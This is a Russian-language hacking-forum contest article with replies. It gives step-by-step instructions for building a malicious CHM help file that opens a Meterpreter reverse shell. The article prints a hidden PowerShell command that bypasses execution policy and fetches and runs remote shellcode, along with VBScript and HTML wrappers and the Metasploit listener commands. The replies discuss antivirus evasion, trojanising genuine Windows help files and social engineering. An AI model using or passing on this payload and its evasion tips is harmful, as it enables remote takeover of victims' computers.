Конкурс Вредоносные CHM файлы

Статья для участия в конкурсе Codeby!

1.png


В этой статье мы рассмотрим способ создания вредоносных программ в формате CHM.

Давайте познакомимся с ним поближе. HTMLHelp (Comiled HTML Help) - формат файлов, выпущенный корпорацией Microsoft в 1997 году. Сам файл является комплексом сжатых HTML страниц алгоритмом LZX, которые могут хранить в себе вредоносные сценарии на VBScript или JavaScript. Этим мы с вами сегодня и воспользуемся.

Просматривать CHM файлы можно с помощью стандартный средств просмотра Windows, поэтому каких либо больших зависимостей у него нет. Кроме того, этот формат не вызывает беспокойство у пользователей, что также может быть использовано нами. Файлы формата HTMLHelp выглядят вот так:

2.png


Для создания HTMLHelp файлов мы будем использовать программу htm2chm. Она позволяет компилировать различные HTML страницы в один CHM файл. Первое, что нужно вам сделать, так это скачать эту программу.

После скачивания, установки и запуска вас будет приветствовать следующее окно:

3.png



  • Кнопка "Compiler" позволяет скомпилировать CHM файл из HTML страницы.
  • Кнопка "Generator" позволяет превратить множество связанных HTML страниц, картинок и видео в один CHM файл.
  • Кнопка "Editor" позволяет редактировать CHM файлы.
  • Кнопка "Decompiler" декомпилировать CHM файлы.
  • Кнопка "Pages" сохранять различные страницы.
Мы будем использовать только функцию "Compiler".

Как я сказал выше, CHM файлы состоят из HTML страниц, поэтому, давайте создадим CHM файл для того, чтобы познакомиться с этим форматом поближе.

1. Создаём HTML страницу.

4.png


2. Заполняем её HTML кодом.

5.png


HTML:
<html>
  <body>
    <h1>Test</h1>
  </body>
</html>

3. Компилируем.
  • Запускаем htm2chm.
  • Нажимаем кнопку "Compiler".
6.png

  • В поле "Folder" записываем путь к папке с файлом. Не к самому файлу, а именно к папке. В поле "Title" пишем заголовок файла. В поле "Output" путь с каким именем и куда сохранить скомпилированный файл.
7.png

  • Нажимаем "Start".
8.png


4. После этих действий файл компилируется и автоматически открывается.

13.png


Как вы убедились, файл CHM действительно состоит из простых HTML страниц. Мы познакомились с форматом CHM, поэтому давайте теперь перейдём к созданию вредоносного CHM файла, который выдаст нам Meterpreter сессию.

1. Для этого, в скрипте выполним вредоносную powershell команду. Но для этого её нужно сначала собрать.

  • Не будем показывать окно командной строки, отключим использование профиля powershell, отключим использование интерактивного режима и разрешим запуск сторонних скриптов. Этого можно достичь с помощью этих опций.

Код:
-w hidden -nop -noni -exec bypass


  • Подготовим вредоносную нагрузку. Можно использовать эту нагрузку, которая предоставит нам meterpreter shell. Используем PowerSploit скрипт. Для этого скачаем его и запустим с нужными параметрами.

Код:
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force
,
где вместо 192.168.0.106 и 8007 укажите IP и порт атакующего.

  • Соберём команду и она примет следующий вид:

Код:
powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force

2. Подготовим вредоносный VBScript скрипт, который запустит эту команду.

Код:
Set cmd = CreateObject("wscript.shell")
' Создаём объект для выполнения команд
cmd.Run "powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force"
' Выполняем команду

3. Сохраняем всё это в один html файл.

HTML:
<html>
 <body>
   <script language="VBScript">
    Set cmd = CreateObject("wscript.shell")
    cmd.Run "powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force"
   </script>
 </body>
</html>

4. Комилируем его.

  • Запускаем htm2chm.
  • Нажимаем кнопку "Compiler".
6.png


  • В поле Folder записываем путь к папке с файлом. Не к самому файлу, а именно к папке. В поле Title пишем заголовок файла. В папку Output путь куда сохранить скомпилированный файл.

7.png


  • Нажимаем "Start"

8.png


5. Всё. Файл откроется автоматически, поэтому чтобы это предотвратить нужно после компиляции закрыть окно с программой.

Теперь подготовимся со стороны атакующего. Пишем в консоль Kali Linux:

10.png


Последовательность команд:
Код:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 192.168.0.106
set LPORT 8007
, где вместо 192.168.0.106 и 8007 указываем IP атакующего и желаемый порт.

Далее. Запускаем наш вредоносный CHM файл и видим предупреждение безопасности Windows. Это является небольшим недостатком этого метода.

11.png


Нажимаем "Да" и видим, что нам прилетает сессия meterpreter.

12.png


Ну, на этом всё. Спасибо за внимание!


Участник конкурса может опубликовать неограниченное количество статей, за весь срок проведения конкурса.
 
Последнее редактирование:

e.exploit

Green Team
11.09.2016
21
9
BIT
23
И недостаток с предупреждением вроде серьезный, но учитывая сколько серьезных систем по факту ломаются из-за разрешения пользователем(даже админами) запуска макросов в левых ворд-документах, то это не кажется сильным недостатком, стоит только в рецепт добавить щепотку СИ.
 
  • Нравится
Реакции: Vertigo и PingVinich

PingVinich

Технарь
Green Team
19.03.2017
138
512
BIT
0
и где взять эту обфускацию?
Всмысле где взять?

И недостаток с предупреждением вроде серьезный, но учитывая сколько серьезных систем по факту ломаются из-за разрешения пользователем(даже админами) запуска макросов в левых ворд-документах, то это не кажется сильным недостатком, стоит только в рецепт добавить щепотку СИ.
В большинстве случаев это окно не вызывает каких-либо серьёзных насторожений у пользователя. Проверено экспериментально.
 

BadBlackHat

Platinum
05.02.2017
217
305
BIT
7
В корпоративной сети с kaspersky enterprise в качестве антивируса и некоторыми вещами от palo alto, детекта 0. Грац за статью
 
  • Нравится
Реакции: PingVinich

PingVinich

Технарь
Green Team
19.03.2017
138
512
BIT
0
Сканирование вредоносного CHM файла из статьи на NoDistrbute.com.

Обнаружили вредоносный файл только 6 антивирусов. Стоит заметить, что все эти 6 антивирусов мало распространены, поэтому способ рабочий. Прошу не закидывать файл на VirusTotal.

File Name: Test.chm
File Size: 10.38 KB
Scan Date: 06:11:47 | 11/17/2017
Detected by: 6/36

MD5: d9944c55bd848eef8a1a6bdf418224f0
SHA256: 73dacd5fac5980d6d841f9ec02ea6e414963a0272fc5688ebf92a8e976e76492

A-Squared: Clean
AVG Free: Clean
Ad-Aware: VB.Downloader.2.Gen
AhnLab V3 Internet Security: Clean
Arcavir Antivirus 2014: VB.Downloader.2.Gen
Avast: Clean
Avira: Clean
BitDefender: VB.Downloader.2.Gen
Clam Antivirus: Clean
Comodo Internet Security: Clean
ESET NOD32: Clean
F-PROT Antivirus: Clean
F-Secure Internet Security: VB.Downloader.2.Gen
G Data: VB.Downloader.2.Gen

IKARUS Security: Clean
Jiangmin Antivirus 2011: Clean
K7 Ultimate: Clean
Kaspersky Antivirus: Clean
MS Security Essentials: Clean
Malwarebytes Anti-Malware: Clean
McAfee: Clean
NANO Antivirus: Clean
Norton Antivirus: Clean
Outpost Antivirus Pro: Clean
Panda Security: Clean
Quick Heal Antivirus: Clean
SUPERAntiSpyware: Clean
Solo Antivirus: Clean
Sophos: Clean
TrustPort Antivirus: VB.Downloader.2.Gen(Xenon)
Twister Antivirus: Clean
VBA32 Antivirus: Clean
VirIT eXplorer: Clean
Zillya! Internet Security: Clean
eScan Antivirus: Clean
eTrust-Vet: Clean
 
  • Нравится
Реакции: Dmitry88
D

Dmitry88

В победители метишь, не иначе. Отличная статья, все подробно и классно расписано.
Немного проявил изобретательности, взял виндовую справку произвольную, программой htm2chm декомпилировал и отредактировал одну из страниц справки. Дальше собрал обратно и поставил эту страницу стартовой, иначе скрипт не отработает, пока юзер не откроет нужную страницу (что тоже хорошо, для СИ, т.к. юзера туда можно направить в сопроводительном письме)

Результат - детект 5\61
windows_help_scan_result.png

Одним словом спасибо!
 
  • Нравится
Реакции: Kalina и PingVinich

kot-gor

Well-known member
07.09.2016
529
705
BIT
0
Иконку бы поменять..:rolleyes:
почтовые сервера не пропускают.
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!